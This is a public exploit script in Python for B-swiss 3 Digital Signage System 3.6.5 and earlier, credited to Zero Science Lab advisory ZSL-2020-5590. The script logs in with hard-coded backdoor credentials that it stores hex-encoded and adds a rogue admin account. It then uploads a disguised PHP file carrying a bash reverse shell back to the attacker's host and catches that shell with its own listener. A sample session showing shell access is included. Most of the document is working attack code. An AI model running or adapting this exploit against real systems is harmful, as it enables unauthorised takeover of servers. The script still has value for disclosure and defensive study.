Share
## https://sploitus.com/exploit?id=PACKETSTORM:159232
#!/usr/bin/env python3  
# -*- coding: utf-8 -*-  
#  
#  
# B-swiss 3 Digital Signage System 3.6.5 Backdoor Remote Code Execution  
#  
#  
# Vendor: B-Swiss SARL | b-tween Sarl  
# Product web page: https://www.b-swiss.com  
# Affected version: 3.6.5  
# 3.6.2  
# 3.6.1  
# 3.6.0  
# 3.5.80  
# 3.5.40  
# 3.5.20  
# 3.5.00  
# 3.2.00  
# 3.1.00  
#  
# Summary: Intelligent digital signage made easy. To go beyond the  
# possibilities offered, b-swiss allows you to create the communication  
# solution for your specific needs and your graphic charter. You benefit  
# from our experience and know-how in the realization of your digital  
# signage project.  
#  
# Desc: The application suffers from an "authenticated" arbitrary  
# PHP code execution. The vulnerability is caused due to the improper  
# verification of uploaded files in 'index.php' script thru the 'rec_poza'  
# POST parameter. This can be exploited to execute arbitrary PHP code  
# by uploading a malicious PHP script file that will be stored in  
# '/usr/users' directory. Due to an undocumented and hidden "maintenance"  
# account 'admin_m' which has the highest privileges in the application,  
# an attacker can use these hard-coded credentials to authenticate and  
# use the vulnerable image upload functionality to execute code on the  
# server.  
#  
# ========================================================================================  
# lqwrm@metalgear:~/prive$ python3 sign2.py 192.168.10.11 192.168.10.22 7777  
# [*] Checking target...  
# [*] Good to go!  
# [*] Checking for previous attempts...  
# [*] All good.  
# [*] Getting backdoor session...  
# [*] Got master backdoor cookie: 0c1617103c6f50107d09cb94b3eafeb2  
# [*] Starting callback listener child thread  
# [*] Starting handler on port 7777  
# [*] Adding GUI credentials: test:123456  
# [*] Executing and deleting stager file  
# [*] Connection from 192.168.10.11:40080  
# [*] You got shell!  
# id ; uname -or  
# uid=33(www-data) gid=33(www-data) groups=33(www-data)  
# 4.15.0-20-generic GNU/Linux  
# exit  
# *** Connection closed by remote host ***  
# [?] Want me to remove the GUI credentials? y  
# [*] Removing...  
# [*] t00t!  
# lqwrm@metalgear:~/prive$   
# ========================================================================================  
#  
# Tested on: Linux 5.3.0-46-generic x86_64  
# Linux 4.15.0-20-generic x86_64  
# Linux 4.9.78-xxxx-std-ipv6-64  
# Linux 4.7.0-040700-generic x86_64  
# Linux 4.2.0-27-generic x86_64  
# Linux 3.19.0-47-generic x86_64  
# Linux 2.6.32-5-amd64 x86_64  
# Darwin 17.6.0 root:xnu-4570.61.1~1 x86_64  
# macOS 10.13.5  
# Microsoft Windows 7 Business Edition SP1 i586  
# Apache/2.4.29 (Ubuntu)  
# Apache/2.4.18 (Ubuntu)  
# Apache/2.4.7 (Ubuntu)  
# Apache/2.2.22 (Win64)  
# Apache/2.4.18 (Ubuntu)  
# Apache/2.2.16 (Debian)  
# PHP/7.2.24-0ubuntu0.18.04.6  
# PHP/5.6.40-26+ubuntu18.04.1+deb.sury.org+1  
# PHP/5.6.33-1+ubuntu16.04.1+deb.sury.org+1  
# PHP/5.6.31  
# PHP/5.6.30-10+deb.sury.org~xenial+2  
# PHP/5.5.9-1ubuntu4.17  
# PHP/5.5.9-1ubuntu4.14  
# PHP/5.3.10  
# PHP/5.3.13  
# PHP/5.3.3-7+squeeze16  
# PHP/5.3.3-7+squeeze17  
# MySQL/5.5.49  
# MySQL/5.5.47  
# MySQL/5.5.40  
# MySQL/5.5.30  
# MySQL/5.1.66  
# MySQL/5.1.49  
# MySQL/5.0.77  
# MySQL/5.0.12-dev  
# MySQL/5.0.11-dev  
# MySQL/5.0.8-dev  
# phpMyAdmin/3.5.7  
# phpMyAdmin/3.4.10.1deb1  
# phpMyAdmin/3.4.7  
# phpMyAdmin/3.3.7deb7  
# WampServer 3.2.0  
# Acore Framework 2.0  
#  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
# Macedonian Information Security Research and Development Laboratory  
# Zero Science Lab - https://www.zeroscience.mk - @zeroscience  
#  
#  
# Advisory ID: ZSL-2020-5590  
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5590.php  
#  
#  
# 13.06.2020  
#  
  
from http.cookiejar import DefaultCookiePolicy# #yciloPeikooCtluafeD tropmi rajeikooc.ptth mofr  
from http.cookiejar import CookieJar# oOo #raJeikooC tropmi rajeikooc.ptth mofr  
from six.moves import input# #-----------------+-----------------# #tupni trompi sevom.xis morf  
from time import sleep# | 01 | 04 | #peels trompi emit morf  
import urllib.request# | | | | #tseuqer.billru tropmi  
import urllib.parse# | | | | #esrap.billru tropmi  
import telnetlib# | | | #biltenlet tropmi  
import threading# | | | | #gnidaerht tropmi  
import requests# | | | | #stseuqer tropmi  
import socket# | | o | #tekcos tropmi  
import sys,re# | | | #er,sys tropmi  
############## #-----------------+-----------------# ##############  
############### oOo ###############  
################ | ################  
#################### Y ####################  
############################ _ ############################  
###############################################################################################  
  
class Sign:  
  
def __init__(self):  
self.username = b"\x61\x64\x6d\x69\x6e\x5f\x6d"  
self.altruser = b"\x62\x2d\x73\x77\x69\x73\x73"  
self.password = b"\x44\x50\x36\x25\x57\x33\x64"  
self.agent = "SignageBot/1.02"  
self.fileid = "251"  
self.payload = None  
self.answer = False  
self.params = None  
self.rhost = None  
self.lhost = None  
self.lport = None  
self.send = None  
  
def env(self):  
if len(sys.argv) != 4:  
self.usage()  
else:  
self.rhost = sys.argv[1]  
self.lhost = sys.argv[2]  
self.lport = int(sys.argv[3])  
if not "http" in self.rhost:  
self.rhost = "http://{}".format(self.rhost)  
  
def usage(self):  
self.roger()  
print("Usage: python3 {} <RHOST[:RPORT]> <LHOST> <LPORT>".format(sys.argv[0]))  
print("Example: python3 {} 192.168.10.11:80 192.168.10.22 7777\n".format(sys.argv[0]))  
exit(0)  
  
def roger(self):  
waddup = """  
____________________  
/ \\  
! B-swiss 3 !  
! RCE !  
\____________________/  
! !  
! !  
L_ !  
/ _)!  
/ /__L  
____________/ (____)  
(____)  
____________ (____)  
\_(____)  
! !  
! !  
\__/   
"""  
print(waddup)  
  
def test(self):  
print("[*] Checking target...")  
try:  
r = requests.get(self.rhost)  
response = r.text  
if not "B-swiss" in response:  
print("[!] Not a b-swiss system")  
exit(0)  
if "B-swiss" in response:  
print("[*] Good to go!")  
next  
else:  
exit(-251)  
except Exception as e:  
print("[!] Ney ney: {msg}".format(msg=e))  
exit(-1)  
  
def login(self):  
token = ""  
cj = CookieJar()  
self.params = {"locator" : "visitor.ProcessLogin",  
"username" : self.username,  
"password" : self.password,  
"x" : "0",  
"y" : "0"}  
  
damato = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))  
damato.addheaders.pop()  
damato.addheaders.append(("User-Agent", self.agent))  
  
try:  
print("[*] Getting backdoor session...")  
damato.open(self.rhost + "/index.php", urllib.parse.urlencode(self.params).encode('utf-8'))  
for cookie in cj:  
token = cookie.value  
print("[*] Got master backdoor cookie: "+token)  
except urllib.request.URLError as e:  
print("[!] Connection error: {}".format(e.reason))  
  
return token  
  
def upload(self):  
j = "\r\n"  
self.cookies = {"PNU_RAD_LIB" : self.rtoken}  
self.headers = {"Cache-Control" : "max-age=0",  
"Content-Type" : "multipart/form-data; boundary=----j",  
"User-Agent" : self.agent,  
"Accept-Encoding" : "gzip, deflate",  
"Accept-Language" : "en-US,en;q=0.9",  
"Connection" : "close"}  
  
self.payload = "<?php exec(\"/bin/bash -c 'bash -i > /dev/tcp/"+self.lhost+"/"+str(self.lport)+" <&1;rm "+self.fileid+".php'\");"  
  
print("[*] Adding GUI credentials: test:123456")  
# rec_adminlevel values:  
# ----------------------  
# 100000 - "b-swiss Maintenance Admin" (Undocumented privilege)  
# 7 - "B-swiss admin" <---------------------------------------------------------------------------------------+  
# 8 - Other |  
# |  
self.send = "------j{}Content-Disposition: form-data; ".format(j)# |  
self.send += "name=\"locator\"{}Users.Save{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |  
self.send += "name=\"page\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |  
self.send += "name=\"sort\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |  
self.send += "name=\"id\"{}{}{}------j\r\nContent-Disposition: form-data; ".format(j*2,self.fileid,j,j)# |  
self.send += "name=\"ischildgrid\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |  
self.send += "name=\"inpopup\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |  
self.send += "name=\"ongridpage\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |  
self.send += "name=\"rowid\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |  
self.send += "name=\"preview_screenid\"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |  
self.send += "name=\"rec_firstname\"{}TestF{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |  
self.send += "name=\"rec_lastname\"{}TestL{}------j{}Content-Disposition: form-data; ".format(j*2,j,2)# |  
self.send += "name=\"rec_email\"{}test@test.cc{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |  
self.send += "name=\"rec_username\"{}test{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |  
self.send += "name=\"rec_password\"{}123456{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |  
self.send += "name=\"rec_cpassword\"{}123456{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |  
self.send += "name=\"rec_adminlevel\"{}7{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# <----------+  
self.send += "name=\"rec_status\"{}1{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)  
self.send += "name=\"rec_poza\"; filename=\"Blank.jpg.php\"{}Content-Type: application/octet-stream{}".format(j,j*2)  
self.send += self.payload+"{}------j{}Content-Disposition: form-data; ".format(j,j)  
self.send += "name=\"rec_poza_face\"{}C:\\fakepath\\Blank.jpg{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)  
self.send += "name=\"rec_language\"{}french-sw{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)  
self.send += "name=\"rec_languages[]\"{}2{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)  
self.send += "name=\"rec_can_change_password\"{}1{}------j--{}".format(j*2,j,j)  
  
requests.post(self.rhost+"/index.php", headers=self.headers, cookies=self.cookies, data=self.send)  
print("[*] Executing and deleting stager file")  
r = requests.get(self.rhost+"/usr/users/"+self.fileid+".php")  
sleep(1)  
  
self.answer = input("[?] Want me to remove the GUI credentials? ").strip()  
if self.answer[0] == "y" or self.answer[0] == "Y":  
print("[*] Removing...")  
requests.get(self.rhost+"/index.php?locator=Users.Delete&id="+self.fileid, headers=self.headers, cookies=self.cookies)  
if self.answer[0] == "n" or self.answer[0] == "N":  
print("[*] Cool!")  
print("[*] t00t!")  
exit(-1)  
  
def razmisluju(self):  
print("[*] Starting callback listener child thread")  
konac = threading.Thread(name="ZSL", target=self.phone)  
konac.start()  
sleep(1)  
self.upload()  
  
def fish(self):  
r = requests.get(self.rhost+"/usr/users/", verify=False, allow_redirects=False)  
response = r.text  
print("[*] Checking for previous attempts...")  
if not ".php" in response:  
print("[*] All good.")  
elif "251.php" in response:  
print("[!] Stager file \"{}.php\" still present on the server".format(self.fileid))  
  
def phone(self):  
telnetus = telnetlib.Telnet()  
print("[*] Starting handler on port {}".format(self.lport))  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.bind(("0.0.0.0", self.lport))  
while True:  
try:  
s.settimeout(7)  
s.listen(1)  
conn, addr = s.accept()  
print("[*] Connection from {}:{}".format(addr[0], addr[1]))  
telnetus.sock = conn  
except socket.timeout as p:  
print("[!] No outgoing calls :( ({msg})".format(msg=p))  
print("[+] Check your port mappings or increase timeout")  
s.close()  
exit(0)  
break  
  
print("[*] You got shell!")  
telnetus.interact()  
conn.close()  
  
def main(self):  
self.env()  
self.test()  
self.fish()  
self.rtoken = self.login()  
self.razmisluju()  
  
if __name__ == '__main__':  
Sign().main()